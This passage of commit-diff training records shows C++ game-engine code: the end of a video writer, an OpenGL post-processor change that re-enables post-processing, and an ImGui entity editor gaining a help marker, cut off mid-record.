1000.\/m_FrameRate;\n    int wantedFrame = int(movieTime\/timePerFrame+0.1);\n    if (wantedFrame > m_CurFrame) {\n        readFrameFromFBO();\n        if (wantedFrame > m_CurFrame + 1) {\n            m_CurFrame = wantedFrame - 1;\n        }\n    }\n}\n\n\nvoid VideoWriter::onPlaybackEnd()\n{\n    stop();\n}\n\nvoid VideoWriter::writeDummyFrame()\n{\n    BitmapPtr pBmp = BitmapPtr(new Bitmap(m_FrameSize, B8G8R8X8));\n    sendFrame(pBmp);\n}\n\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"logging.h\"\n#include \"postProcessManager.h\"\n#include \"shaderManager.h\"\n#include \"resources.h\"\n#include \"graphics\/opengl.h\"\n#include <stddef.h>\n\n\nPostProcessor::PostProcessor(string shadername, RenderChain* chain)\n: shader(ShaderManager::getShader(shadername)), render_texture({128, 128}), chain(chain), enabled{false}\n{\n}\n\nvoid PostProcessor::render(sp::RenderTarget& target)\n{\n    if (!enabled || true) \/\/ post processors disabled until all issues with RenderTexture has been solved.\n    {\n        chain->render(target);\n        return;\n    }\n    target.finish();\n\n    render_texture.setSize(target.getPhysicalSize());\n    if (!render_texture.activateRenderTarget())\n    {\n        chain->render(target);\n        return;\n    }\n\n    chain->render(target);\n    target.finish();\n    glBindFramebuffer(GL_FRAMEBUFFER, 0);\n\n    shader->bind();\n\n    glUniform1i(shader->getUniformLocation(\"u_texture\"), 0);\n    glActiveTexture(GL_TEXTURE0);\n    render_texture.bind();\n    for(auto it : uniforms)\n        glUniform1f(shader->getUniformLocation(it.first.c_str()), it.second);\n\n    using VertexType = std::pair<glm::vec2, glm::vec2>;\n\n    if (vertices_vbo == 0)\n    {\n        glGenBuffers(1, &vertices_vbo);\n        glGenBuffers(1, &indices_vbo);\n\n        std::vector<VertexType> vertex_data{\n            {{-1, -1}, {0, 0}},\n            {{-1,  1}, {0, 1}},\n            {{ 1, -1}, {1, 0}},\n            {{ 1,  1}, {1, 1}},\n        };\n        std::vector<uint16_t> index_data{0, 1, 2, 1, 3, 2};\n\n        glBindBuffer(GL_ARRAY_BUFFER, vertices_vbo);\n        glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, indices_vbo);\n        glBufferData(GL_ARRAY_BUFFER, sizeof(VertexType) * vertex_data.size(), vertex_data.data(), GL_DYNAMIC_DRAW);\n        glBufferData(GL_ELEMENT_ARRAY_BUFFER, sizeof(uint16_t) * index_data.size(), index_data.data(), GL_DYNAMIC_DRAW);\n    }\n    else\n    {\n        glBindBuffer(GL_ARRAY_BUFFER, vertices_vbo);\n        glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, indices_vbo);\n    }\n\n    glVertexAttribPointer(shader->getAttributeLocation(\"a_position\"), 2, GL_FLOAT, GL_FALSE, static_cast<GLsizei>(sizeof(VertexType)), (void*)offsetof(VertexType, first));\n    glEnableVertexAttribArray(shader->getAttributeLocation(\"a_position\"));\n    glVertexAttribPointer(shader->getAttributeLocation(\"a_texcoords\"), 2, GL_FLOAT, GL_FALSE, static_cast<GLsizei>(sizeof(VertexType)), (void*)offsetof(VertexType, second));\n    glEnableVertexAttribArray(shader->getAttributeLocation(\"a_texcoords\"));\n\n    glDrawElements(GL_TRIANGLES, 6, GL_UNSIGNED_SHORT, nullptr);\n\n    glBindBuffer(GL_ARRAY_BUFFER, GL_NONE);\n    glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, GL_NONE);\n}\n\nvoid PostProcessor::setUniform(string name, float value)\n{\n    uniforms[name] = value;\n}\n\nbool PostProcessor::onPointerMove(glm::vec2 position, sp::io::Pointer::ID id)\n{\n    return chain->onPointerMove(position, id);\n}\n\nvoid PostProcessor::onPointerLeave(sp::io::Pointer::ID id)\n{\n    chain->onPointerLeave(id);\n}\n\nbool PostProcessor::onPointerDown(sp::io::Pointer::Button button, glm::vec2 position, sp::io::Pointer::ID id)\n{\n    return chain->onPointerDown(button, position, id);\n}\n\nvoid PostProcessor::onPointerDrag(glm::vec2 position, sp::io::Pointer::ID id)\n{\n    chain->onPointerDrag(position, id);\n}\n\nvoid PostProcessor::onPointerUp(glm::vec2 position, sp::io::Pointer::ID id)\n{\n    chain->onPointerUp(position, id);\n}\n\nvoid PostProcessor::onTextInput(const string& text)\n{\n    chain->onTextInput(text);\n}\n\nvoid PostProcessor::onTextInput(sp::TextInputEvent e)\n{\n    chain->onTextInput(e);\n}\n<commit_msg>Enable post processor for a prerelease<commit_after>#include \"logging.h\"\n#include \"postProcessManager.h\"\n#include \"shaderManager.h\"\n#include \"resources.h\"\n#include \"graphics\/opengl.h\"\n#include <stddef.h>\n\n\nPostProcessor::PostProcessor(string shadername, RenderChain* chain)\n: shader(ShaderManager::getShader(shadername)), render_texture({128, 128}), chain(chain), enabled{false}\n{\n}\n\nvoid PostProcessor::render(sp::RenderTarget& target)\n{\n    if (!enabled) \/\/ post processors disabled until all issues with RenderTexture has been solved.\n    {\n        chain->render(target);\n        return;\n    }\n    target.finish();\n\n    render_texture.setSize(target.getPhysicalSize());\n    if (!render_texture.activateRenderTarget())\n    {\n        chain->render(target);\n        return;\n    }\n\n    chain->render(target);\n    target.finish();\n    glBindFramebuffer(GL_FRAMEBUFFER, 0);\n\n    shader->bind();\n\n    glUniform1i(shader->getUniformLocation(\"u_texture\"), 0);\n    glActiveTexture(GL_TEXTURE0);\n    render_texture.bind();\n    for(auto it : uniforms)\n        glUniform1f(shader->getUniformLocation(it.first.c_str()), it.second);\n\n    using VertexType = std::pair<glm::vec2, glm::vec2>;\n\n    if (vertices_vbo == 0)\n    {\n        glGenBuffers(1, &vertices_vbo);\n        glGenBuffers(1, &indices_vbo);\n\n        std::vector<VertexType> vertex_data{\n            {{-1, -1}, {0, 0}},\n            {{-1,  1}, {0, 1}},\n            {{ 1, -1}, {1, 0}},\n            {{ 1,  1}, {1, 1}},\n        };\n        std::vector<uint16_t> index_data{0, 1, 2, 1, 3, 2};\n\n        glBindBuffer(GL_ARRAY_BUFFER, vertices_vbo);\n        glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, indices_vbo);\n        glBufferData(GL_ARRAY_BUFFER, sizeof(VertexType) * vertex_data.size(), vertex_data.data(), GL_DYNAMIC_DRAW);\n        glBufferData(GL_ELEMENT_ARRAY_BUFFER, sizeof(uint16_t) * index_data.size(), index_data.data(), GL_DYNAMIC_DRAW);\n    }\n    else\n    {\n        glBindBuffer(GL_ARRAY_BUFFER, vertices_vbo);\n        glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, indices_vbo);\n    }\n\n    glVertexAttribPointer(shader->getAttributeLocation(\"a_position\"), 2, GL_FLOAT, GL_FALSE, static_cast<GLsizei>(sizeof(VertexType)), (void*)offsetof(VertexType, first));\n    glEnableVertexAttribArray(shader->getAttributeLocation(\"a_position\"));\n    glVertexAttribPointer(shader->getAttributeLocation(\"a_texcoords\"), 2, GL_FLOAT, GL_FALSE, static_cast<GLsizei>(sizeof(VertexType)), (void*)offsetof(VertexType, second));\n    glEnableVertexAttribArray(shader->getAttributeLocation(\"a_texcoords\"));\n\n    glDrawElements(GL_TRIANGLES, 6, GL_UNSIGNED_SHORT, nullptr);\n\n    glBindBuffer(GL_ARRAY_BUFFER, GL_NONE);\n    glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, GL_NONE);\n}\n\nvoid PostProcessor::setUniform(string name, float value)\n{\n    uniforms[name] = value;\n}\n\nbool PostProcessor::onPointerMove(glm::vec2 position, sp::io::Pointer::ID id)\n{\n    return chain->onPointerMove(position, id);\n}\n\nvoid PostProcessor::onPointerLeave(sp::io::Pointer::ID id)\n{\n    chain->onPointerLeave(id);\n}\n\nbool PostProcessor::onPointerDown(sp::io::Pointer::Button button, glm::vec2 position, sp::io::Pointer::ID id)\n{\n    return chain->onPointerDown(button, position, id);\n}\n\nvoid PostProcessor::onPointerDrag(glm::vec2 position, sp::io::Pointer::ID id)\n{\n    chain->onPointerDrag(position, id);\n}\n\nvoid PostProcessor::onPointerUp(glm::vec2 position, sp::io::Pointer::ID id)\n{\n    chain->onPointerUp(position, id);\n}\n\nvoid PostProcessor::onTextInput(const string& text)\n{\n    chain->onTextInput(text);\n}\n\nvoid PostProcessor::onTextInput(sp::TextInputEvent e)\n{\n    chain->onTextInput(e);\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"EntityEditor.hpp\"\n\n#include <Engine\/Component\/Animation.hpp>\n#include <Engine\/Component\/Physics.hpp>\n#include <Engine\/Component\/Mesh.hpp>\n#include <Engine\/Component\/Lens.hpp>\n#include <Engine\/Component\/Material.hpp>\n#include <Engine\/Component\/DirectionalLight.hpp>\n#include <Engine\/Component\/PointLight.hpp>\n#include <Engine\/Component\/SpotLight.hpp>\n#include <Engine\/Component\/Listener.hpp>\n#include <Engine\/Component\/Script.hpp>\n#include <Engine\/Component\/SoundSource.hpp>\n#include <Engine\/Component\/ParticleEmitter.hpp>\n#include <Engine\/Hymn.hpp>\n#include <Engine\/Geometry\/Model.hpp>\n#include <Engine\/Geometry\/RiggedModel.hpp>\n#include <Engine\/Texture\/Texture2D.hpp>\n#include <Engine\/Audio\/SoundBuffer.hpp>\n#include <Engine\/Script\/ScriptFile.hpp>\n#include <Engine\/Util\/FileSystem.hpp>\n#include <Engine\/Manager\/Managers.hpp>\n#include <Engine\/Manager\/ScriptManager.hpp>\n\n#include \"..\/..\/Util\/EditorSettings.hpp\"\n#include \"..\/FileSelector.hpp\"\n#include \"..\/..\/ImGui\/Draggable.hpp\"\n\nusing namespace GUI;\n\nEntityEditor::EntityEditor() {\n    name[0] = '\\0';\n    AddEditor<Component::Animation>(\"Animation\", std::bind(&EntityEditor::AnimationEditor, this, std::placeholders::_1));\n    AddEditor<Component::Physics>(\"Physics\", std::bind(&EntityEditor::PhysicsEditor, this, std::placeholders::_1));\n    AddEditor<Component::Mesh>(\"Mesh\", std::bind(&EntityEditor::MeshEditor, this, std::placeholders::_1));\n    AddEditor<Component::Lens>(\"Lens\", std::bind(&EntityEditor::LensEditor, this, std::placeholders::_1));\n    AddEditor<Component::Material>(\"Material\", std::bind(&EntityEditor::MaterialEditor, this, std::placeholders::_1));\n    AddEditor<Component::DirectionalLight>(\"Directional light\", std::bind(&EntityEditor::DirectionalLightEditor, this, std::placeholders::_1));\n    AddEditor<Component::PointLight>(\"Point light\", std::bind(&EntityEditor::PointLightEditor, this, std::placeholders::_1));\n    AddEditor<Component::SpotLight>(\"Spot light\", std::bind(&EntityEditor::SpotLightEditor, this, std::placeholders::_1));\n    AddEditor<Component::Listener>(\"Listener\", std::bind(&EntityEditor::ListenerEditor, this, std::placeholders::_1));\n    AddEditor<Component::Script>(\"Script\", std::bind(&EntityEditor::ScriptEditor, this, std::placeholders::_1));\n    AddEditor<Component::SoundSource>(\"Sound source\", std::bind(&EntityEditor::SoundSourceEditor, this, std::placeholders::_1));\n    AddEditor<Component::ParticleEmitter>(\"Particle emitter\", std::bind(&EntityEditor::ParticleEmitterEditor, this, std::placeholders::_1));\n}\n\nEntityEditor::~EntityEditor() {\n    \n}\n\nvoid EntityEditor::Show() {\n    if (ImGui::Begin((\"Entity: \" + entity->name + \"###\" + std::to_string(reinterpret_cast<uintptr_t>(entity))).c_str(), &visible)) {\n        ImGui::InputText(\"Name\", name, 128);\n        entity->name = name;\n        ImGui::Text(\"Transform\");\n        ImGui::Indent();\n        ImGui::DraggableVec3(\"Position\", entity->position);\n        ImGui::DraggableVec3(\"Rotation\", entity->rotation);\n        ImGui::DraggableVec3(\"Scale\", entity->scale);\n        ImGui::Unindent();\n        if (!entity->IsScene()) {\n            if (ImGui::Button(\"Add component\"))\n                ImGui::OpenPopup(\"Add component\");\n            \n            if (ImGui::BeginPopup(\"Add component\")) {\n                ImGui::Text(\"Components\");\n                ImGui::Separator();\n                \n                for (Editor& editor : editors) {\n                    editor.addFunction();\n                }\n                \n                ImGui::EndPopup();\n            }\n            \n            for (Editor& editor : editors) {\n                editor.editFunction();\n            }\n        }\n    }\n\n    ImGui::End();\n}\n\nvoid EntityEditor::SetEntity(Entity* entity) {\n    this->entity = entity;\n    strcpy(name, entity->name.c_str());\n}\n\nbool EntityEditor::ShowsEntity(Entity* entity) {\n    return this->entity == entity;\n}\n\nbool EntityEditor::IsVisible() const {\n    return visible;\n}\n\nvoid EntityEditor::SetVisible(bool visible) {\n    this->visible = visible;\n}\n\nvoid EntityEditor::AnimationEditor(Component::Animation* animation) {\n    ImGui::Indent();\n    if (ImGui::Button(\"Select model##Animation\"))\n        ImGui::OpenPopup(\"Select model##Animation\");\n\n    if (ImGui::BeginPopup(\"Select model##Animation\")) {\n        ImGui::Text(\"Models\");\n        ImGui::Separator();\n\n        for (Geometry::Model* model : Hymn().models) {\n            if (ImGui::Selectable(model->name.c_str()))\n                animation->riggedModel = dynamic_cast<Geometry::RiggedModel*>(model);\n        }\n\n        ImGui::EndPopup();\n    }\n    ImGui::Unindent();\n}\n\nvoid EntityEditor::PhysicsEditor(Component::Physics* physics) {\n    ImGui::Text(\"Positional\");\n    ImGui::Indent();\n    ImGui::DraggableVec3(\"Velocity\", physics->velocity);\n    ImGui::DraggableFloat(\"Max velocity\", physics->maxVelocity, 0.0f);\n    ImGui::DraggableVec3(\"Acceleration\", physics->acceleration);\n    ImGui::DraggableFloat(\"Velocity drag factor\", physics->velocityDragFactor);\n    ImGui::DraggableFloat(\"Gravity factor\", physics->gravityFactor);\n    ImGui::Unindent();\n    ImGui::Text(\"Angular\");\n    ImGui::Indent();\n    ImGui::DraggableVec3(\"Angular velocity\", physics->angularVelocity);\n    ImGui::DraggableFloat(\"Max angular velocity\", physics->maxAngularVelocity, 0.0f);\n    ImGui::DraggableVec3(\"Angular acceleration\", physics->angularAcceleration);\n    ImGui::DraggableFloat(\"Angular drag factor\", physics->angularDragFactor);\n    ImGui::DraggableVec3(\"Moment of inertia\", physics->momentOfInertia);\n    ImGui::Unindent();\n\n}\n\nvoid EntityEditor::MeshEditor(Component::Mesh* mesh) {\n    ImGui::Indent();\n    if (ImGui::Button(\"Select model##Mesh\"))\n        ImGui::OpenPopup(\"Select model##Mesh\");\n    \n    if (ImGui::BeginPopup(\"Select model##Mesh\")) {\n        ImGui::Text(\"Models\");\n        ImGui::Separator();\n        \n        for (Geometry::Model* model : Hymn().models) {\n            if (ImGui::Selectable(model->name.c_str()))\n                mesh->geometry = model;\n        }\n        \n        ImGui::EndPopup();\n    }\n    ImGui::Unindent();\n}\n\nvoid EntityEditor::LensEditor(Component::Lens* lens) {\n    ImGui::Indent();\n    ImGui::DraggableFloat(\"Field of view\", lens->fieldOfView, 0.0f, 180.f);\n    ImGui::DraggableFloat(\"Z near\", lens->zNear, 0.0f);\n    ImGui::DraggableFloat(\"Z far\", lens->zFar, 0.0f);\n    ImGui::Unindent();\n}\n\nvoid EntityEditor::MaterialEditor(Component::Material* material) {\n    \/\/ Diffuse\n    ImGui::Text(\"Diffuse\");\n    ImGui::Indent();\n    if (material->diffuse->IsLoaded())\n        ImGui::Image((void*) material->diffuse->GetTextureID(), ImVec2(128, 128));\n    \n    if (ImGui::Button(\"Select diffuse texture\"))\n        ImGui::OpenPopup(\"Select diffuse texture\");\n    \n    if (ImGui::BeginPopup(\"Select diffuse texture\")) {\n        ImGui::Text(\"Textures\");\n        ImGui::Separator();\n        \n        for (Texture2D* texture : Hymn().textures) {\n            if (ImGui::Selectable(texture->name.c_str()))\n                material->diffuse = texture;\n        }\n        \n        ImGui::EndPopup();\n    }\n    ImGui::Unindent();\n\n\n    \/\/ Normal\n    ImGui::Text(\"Normal\");\n    ImGui::Indent();\n    if (material->normal->IsLoaded())\n        ImGui::Image((void*) material->normal->GetTextureID(), ImVec2(128, 128));\n    \n    if (ImGui::Button(\"Select normal texture\"))\n        ImGui::OpenPopup(\"Select normal texture\");\n    \n    if (ImGui::BeginPopup(\"Select normal texture\")) {\n        ImGui::Text(\"Textures\");\n        ImGui::Separator();\n        \n        for (Texture2D* texture : Hymn().textures) {\n            if (ImGui::Selectable(texture->name.c_str()))\n                material->normal = texture;\n        }\n        \n        ImGui::EndPopup();\n    }\n    ImGui::Unindent();\n\n    \/\/ Specular\n    ImGui::Text(\"Specular\");\n    ImGui::Indent();\n    if (material->specular->IsLoaded())\n        ImGui::Image((void*) material->specular->GetTextureID(), ImVec2(128, 128));\n    \n    if (ImGui::Button(\"Select specular texture\"))\n        ImGui::OpenPopup(\"Select specular texture\");\n    \n    if (ImGui::BeginPopup(\"Select specular texture\")) {\n        ImGui::Text(\"Textures\");\n        ImGui::Separator();\n        \n        for (Texture2D* texture : Hymn().textures) {\n            if (ImGui::Selectable(texture->name.c_str()))\n                material->specular = texture;\n        }\n        \n        ImGui::EndPopup();\n    }\n    ImGui::Unindent();\n\n    \/\/ Glow\n    ImGui::Text(\"Glow\");\n    ImGui::Indent();\n    if (material->glow->IsLoaded())\n        ImGui::Image((void*) material->glow->GetTextureID(), ImVec2(128, 128));\n    \n    if (ImGui::Button(\"Select glow texture\"))\n        ImGui::OpenPopup(\"Select glow texture\");\n    \n    if (ImGui::BeginPopup(\"Select glow texture\")) {\n        ImGui::Text(\"Textures\");\n        ImGui::Separator();\n        \n        for (Texture2D* texture : Hymn().textures) {\n            if (ImGui::Selectable(texture->name.c_str()))\n                material->glow = texture;\n        }\n        \n        ImGui::EndPopup();\n    }\n    ImGui::Unindent();\n}\n\nvoid EntityEditor::DirectionalLightEditor(Component::DirectionalLight* directionalLight) {\n    ImGui::Indent();\n    ImGui::InputFloat3(\"Color\", &directionalLight->color[0]);\n    ImGui::DraggableFloat(\"Ambient coefficient\", directionalLight->ambientCoefficient, 0.0f);\n    ImGui::Unindent();\n}\n\nvoid EntityEditor::PointLightEditor(Component::PointLight* pointLight) {\n    ImGui::Indent();\n    ImGui::InputFloat3(\"Color\", &pointLight->color[0]);\n    ImGui::DraggableFloat(\"Ambient coefficient\", pointLight->ambientCoefficient, 0.0f);\n    ImGui::DraggableFloat(\"Attenuation\", pointLight->attenuation, 0.0f);\n    ImGui::DraggableFloat(\"Intensity\", pointLight->intensity, 0.0f);\n    ImGui::Unindent();\n}\n\nvoid EntityEditor::SpotLightEditor(Component::SpotLight* spotLight) {\n    ImGui::Indent();\n    ImGui::InputFloat3(\"Color\", &spotLight->color[0]);\n    ImGui::DraggableFloat(\"Ambient coefficient\", spotLight->ambientCoefficient, 0.0f);\n    ImGui::DraggableFloat(\"Attenuation\", spotLight->attenuation, 0.0f);\n    ImGui::DraggableFloat(\"Intensity\", spotLight->intensity, 0.0f);\n    ImGui::DraggableFloat(\"Cone angle\", spotLight->coneAngle, 0.0f, 180.f);\n    ImGui::Unindent();\n}\n\nvoid EntityEditor::ListenerEditor(Component::Listener* listener) {\n    \n}\n\nvoid EntityEditor::ScriptEditor(Component::Script* script) {\n    ImGui::Indent();\n    if(script->scriptFile != nullptr)\n        ImGui::Text(script->scriptFile->name.c_str());\n    else\n        ImGui::Text(\"No script loaded\");\n    \n    if (ImGui::Button(\"Select script\"))\n        ImGui::OpenPopup(\"Select script\");\n\n    if (ImGui::BeginPopup(\"Select script\")) {\n        ImGui::Text(\"Scripts\");\n        ImGui::Separator();\n\n        for (ScriptFile* scriptFile : Hymn().scripts) {\n            if (ImGui::Selectable(scriptFile->name.c_str()))\n                script->scriptFile = scriptFile;\n        }\n\n        ImGui::EndPopup();\n    }\n    ImGui::Unindent();\n}\n\nvoid EntityEditor::SoundSourceEditor(Component::SoundSource* soundSource) {\n    ImGui::Text(\"Sound\");\n    ImGui::Indent();\n    if (ImGui::Button(\"Select sound\"))\n        ImGui::OpenPopup(\"Select sound\");\n    \n    if (ImGui::BeginPopup(\"Select sound\")) {\n        ImGui::Text(\"Sounds\");\n        ImGui::Separator();\n        \n        for (Audio::SoundBuffer* sound : Hymn().sounds) {\n            if (ImGui::Selectable(sound->name.c_str()))\n                soundSource->soundBuffer = sound;\n        }\n        \n        ImGui::EndPopup();\n    }\n    ImGui::Unindent();\n    ImGui::Text(\"Sound properties\");\n    ImGui::Indent();\n    ImGui::DraggableFloat(\"Pitch\", soundSource->pitch, 0.0f);\n    ImGui::DraggableFloat(\"Gain\", soundSource->gain, 0.0f);\n    ImGui::Checkbox(\"Loop\", &soundSource->loop);\n    ImGui::Unindent();\n}\n\nvoid EntityEditor::ParticleEmitterEditor(Component::ParticleEmitter* particleEmitter) {\n    ImGui::Text(\"Particle\");\n    ImGui::Indent();\n    int rows = Managers().particleManager->GetTextureAtlasRows();\n    float column = static_cast<float>(particleEmitter->particleType.textureIndex % rows);\n    float row = static_cast<float>(particleEmitter->particleType.textureIndex \/ rows);\n    ImGui::Image((void*) Managers().particleManager->GetTextureAtlas()->GetTextureID(), ImVec2(128, 128), ImVec2(column \/ rows, row \/ rows), ImVec2((column + 1.f) \/ rows, (row + 1.f) \/ rows));\n    ImGui::InputInt(\"Texture index\", &particleEmitter->particleType.textureIndex);\n    ImGui::ColorEdit3(\"Color\", &particleEmitter->particleType.color[0]);\n    ImGui::DraggableVec3(\"Min velocity\", particleEmitter->particleType.minVelocity);\n    ImGui::DraggableVec3(\"Max velocity\", particleEmitter->particleType.maxVelocity);\n    ImGui::DraggableFloat(\"Average lifetime\", particleEmitter->particleType.averageLifetime, 0.0f);\n    ImGui::DraggableFloat(\"Lifetime variance\", particleEmitter->particleType.lifetimeVariance, 0.0f);\n    ImGui::DraggableVec2(\"Average size\", particleEmitter->particleType.averageSize, 0.0f);\n    ImGui::DraggableVec2(\"Size variance\", particleEmitter->particleType.sizeVariance, 0.0f);\n    ImGui::Checkbox(\"Uniform scaling\", &particleEmitter->particleType.uniformScaling);\n    ImGui::DraggableFloat(\"Start alpha\", particleEmitter->particleType.startAlpha, 0.0f, 1.0f);\n    ImGui::DraggableFloat(\"Mid alpha\", particleEmitter->particleType.midAlpha, 0.0f, 1.0f);\n    ImGui::DraggableFloat(\"End alpha\", particleEmitter->particleType.endAlpha, 0.0f, 1.0f);\n    ImGui::Unindent();\n    \n    ImGui::Text(\"Emitter\");\n    ImGui::Indent();\n    ImGui::DraggableFloat(\"Average emit time\", particleEmitter->averageEmitTime, 0.0f);\n    ImGui::DraggableFloat(\"Emit time variance\", particleEmitter->emitTimeVariance, 0.0f);\n    \n    const char* items[] = { \"Point\", \"Cuboid\" };\n    int item = static_cast<int>(particleEmitter->emitterType);\n    if (ImGui::Combo(\"Emitter type\", &item, items, 2))\n        particleEmitter->emitterType = static_cast<Component::ParticleEmitter::EmitterType>(item);\n    \n    if (particleEmitter->emitterType == Component::ParticleEmitter::CUBOID)\n        ImGui::DraggableVec3(\"Size\", particleEmitter->size);\n    \n    ImGui::Unindent();\n    \n    ImGui::Text(\"Preview\");\n    ImGui::Indent();\n    ImGui::Checkbox(\"Simulate\", &particleEmitter->preview);\n    ImGui::Unindent();\n}\n<commit_msg>Test of help markers.<commit_after>#include \"EntityEditor.hpp\"\n\n#include <Engine\/Component\/Animation.hpp>\n#include <Engine\/Component\/Physics.hpp>\n#include <Engine\/Component\/Mesh.hpp>\n#include <Engine\/Component\/Lens.hpp>\n#include <Engine\/Component\/Material.hpp>\n#include <Engine\/Component\/DirectionalLight.hpp>\n#include <Engine\/Component\/PointLight.hpp>\n#include <Engine\/Component\/SpotLight.hpp>\n#include <Engine\/Component\/Listener.hpp>\n#include <Engine\/Component\/Script.hpp>\n#include <Engine\/Component\/SoundSource.hpp>\n#include <Engine\/Component\/ParticleEmitter.hpp>\n#include <Engine\/Hymn.hpp>\n#include <Engine\/Geometry\/Model.hpp>\n#include <Engine\/Geometry\/RiggedModel.hpp>\n#include <Engine\/Texture\/Texture2D.hpp>\n#include <Engine\/Audio\/SoundBuffer.hpp>\n#include <Engine\/Script\/ScriptFile.hpp>\n#include <Engine\/Util\/FileSystem.hpp>\n#include <Engine\/Manager\/Managers.hpp>\n#include <Engine\/Manager\/ScriptManager.hpp>\n#include \"..\/GuiHelpers.hpp\"\n\n#include \"..\/..\/Util\/EditorSettings.hpp\"\n#include \"..\/FileSelector.hpp\"\n#include \"..\/..\/ImGui\/Draggable.hpp\"\n\nusing namespace GUI;\n\nEntityEditor::EntityEditor() {\n    name[0] = '\\0';\n    AddEditor<Component::Animation>(\"Animation\", std::bind(&EntityEditor::AnimationEditor, this, std::placeholders::_1));\n    AddEditor<Component::Physics>(\"Physics\", std::bind(&EntityEditor::PhysicsEditor, this, std::placeholders::_1));\n    AddEditor<Component::Mesh>(\"Mesh\", std::bind(&EntityEditor::MeshEditor, this, std::placeholders::_1));\n    AddEditor<Component::Lens>(\"Lens\", std::bind(&EntityEditor::LensEditor, this, std::placeholders::_1));\n    AddEditor<Component::Material>(\"Material\", std::bind(&EntityEditor::MaterialEditor, this, std::placeholders::_1));\n    AddEditor<Component::DirectionalLight>(\"Directional light\", std::bind(&EntityEditor::DirectionalLightEditor, this, std::placeholders::_1));\n    AddEditor<Component::PointLight>(\"Point light\", std::bind(&EntityEditor::PointLightEditor, this, std::placeholders::_1));\n    AddEditor<Component::SpotLight>(\"Spot light\", std::bind(&EntityEditor::SpotLightEditor, this, std::placeholders::_1));\n    AddEditor<Component::Listener>(\"Listener\", std::bind(&EntityEditor::ListenerEditor, this, std::placeholders::_1));\n    AddEditor<Component::Script>(\"Script\", std::bind(&EntityEditor::ScriptEditor, this, std::placeholders::_1));\n    AddEditor<Component::SoundSource>(\"Sound source\", std::bind(&EntityEditor::SoundSourceEditor, this, std::placeholders::_1));\n    AddEditor<Component::ParticleEmitter>(\"Particle emitter\", std::bind(&EntityEditor::ParticleEmitterEditor, this, std::placeholders::_1));\n}\n\nEntityEditor::~EntityEditor() {\n    \n}\n\nvoid EntityEditor::Show() {\n    if (ImGui::Begin((\"Entity: \" + entity->name + \"###\" + std::to_string(reinterpret_cast<uintptr_t>(entity))).c_str(), &visible)) {\n        ImGui::InputText(\"Name\", name, 128);\n        entity->name = name;\n        ImGui::Text(\"Transform\");\n        ImGui::ShowHelpMarker(\"The entities position, rotation and scale.\", 75.f);\n        ImGui::Indent();\n        ImGui::DraggableVec3(\"Position\", entity->position);\n        ImGui::DraggableVec3(\"Rotation\", entity->rotation);\n        ImGui::DraggableVec3(\"Scale\", entity->scale);\n        ImGui::Unindent();\n        if (!entity->IsScene()) {\n            if (ImGui::Button(\"Add component\"))\n                ImGui::OpenPopup(\"Add component\");\n            \n            if (ImGui::BeginPopup(\"Add component\")) {\n                ImGui::Text(\"Components\");\n                ImGui::Separator();\n                \n                for (Editor& editor : editors) {\n                    editor.addFunction();\n                }\n                \n                ImGui::EndPopup();\n            }\n            \n            for (Editor& editor : editors) {\n                editor.editFunction();\n            }\n        }\n    }\n\n    ImGui::End();\n}\n\nvoid EntityEditor::SetEntity(Entity* entity) {\n    this->entity = entity;\n    strcpy(name, entity->name.c_str());\n}\n\nbool EntityEditor::ShowsEntity(Entity* entity) {\n    return this->entity == entity;\n}\n\nbool EntityEditor::IsVisible() const {\n    return visible;\n}\n\nvoid EntityEditor::SetVisible(bool visible) {\n    this->visible = visible;\n}\n\nvoid EntityEditor::AnimationEditor(Component::Animation* animation) {\n    ImGui::Indent();\n    if (ImGui::Button(\"Select model##Animation\"))\n        ImGui::OpenPopup(\"Select model##Animation\");\n\n    if (ImGui::BeginPopup(\"Select model##Animation\")) {\n        ImGui::Text(\"Models\");\n        ImGui::Separator();\n\n        for (Geometry::Model* model : Hymn().models) {\n            if (ImGui::Selectable(model->name.c_str()))\n                animation->riggedModel = dynamic_cast<Geometry::RiggedModel*>(model);\n        }\n\n        ImGui::EndPopup();\n    }\n    ImGui::Unindent();\n}\n\nvoid EntityEditor::PhysicsEditor(Component::Physics* physics) {\n    ImGui::Text(\"Positional\");\n    ImGui::Indent();\n    ImGui::DraggableVec3(\"Velocity\", physics->velocity);\n    ImGui::DraggableFloat(\"Max velocity\", physics->maxVelocity, 0.0f);\n    ImGui::DraggableVec3(\"Acceleration\", physics->acceleration);\n    ImGui::DraggableFloat(\"Velocity drag factor\", physics->velocityDragFactor);\n    ImGui::DraggableFloat(\"Gravity factor\", physics->gravityFactor);\n    ImGui::Unindent();\n    ImGui::Text(\"Angular\");\n    ImGui::Indent();\n    ImGui::DraggableVec3(\"Angular velocity\", physics->angularVelocity);\n    ImGui::DraggableFloat(\"Max angular velocity\", physics->maxAngularVelocity, 0.0f);\n    ImGui::DraggableVec3(\"Angular acceleration\", physics->angularAcceleration);\n    ImGui::DraggableFloat(\"Angular drag factor\", physics->angularDragFactor);\n    ImGui::DraggableVec3(\"Moment of inertia\", physics->momentOfInertia);\n    ImGui::Unindent();\n\n}\n\nvoid EntityEditor::MeshEditor(Component::Mesh* mesh) {\n    ImGui::Indent();\n    if (ImGui::Button(\"Select model##Mesh\"))\n        ImGui::OpenPopup(\"Select model##Mesh\");\n    \n    if (ImGui::BeginPopup(\"Select model##Mesh\")) {\n        ImGui::Text(\"Models\");\n        ImGui::Separator();\n        \n        for (Geometry::Model* model : Hymn().models) {\n            if (ImGui::Selectable(model->name.c_str()))\n                mesh->geometry = model;\n        }\n        \n        ImGui::EndPopup();\n    }\n    ImGui::Unindent();\n}\n\nvoid EntityEditor::LensEditor(Component::Lens* lens) {\n    ImGui::Indent();\n    ImGui::DraggableFloat(\"Field of view\", lens->fieldOfView, 0.0f, 180.f);\n    ImGui::DraggableFloat(\"Z near\", lens->zNear, 0.0f);\n    ImGui::DraggableFloat(\"Z far\", lens->zFar, 0.0f);\n    ImGui::Unindent();\n}\n\nvoid EntityEditor::MaterialEditor(Component::Material* material) {\n    \/\/ Diffuse\n    ImGui::Text(\"Diffuse\");\n    ImGui::Indent();\n    if (material->diffuse->IsLoaded())\n        ImGui::Image((void*) material->diffuse->GetTextureID(), ImVec2(128, 128));\n    \n    if 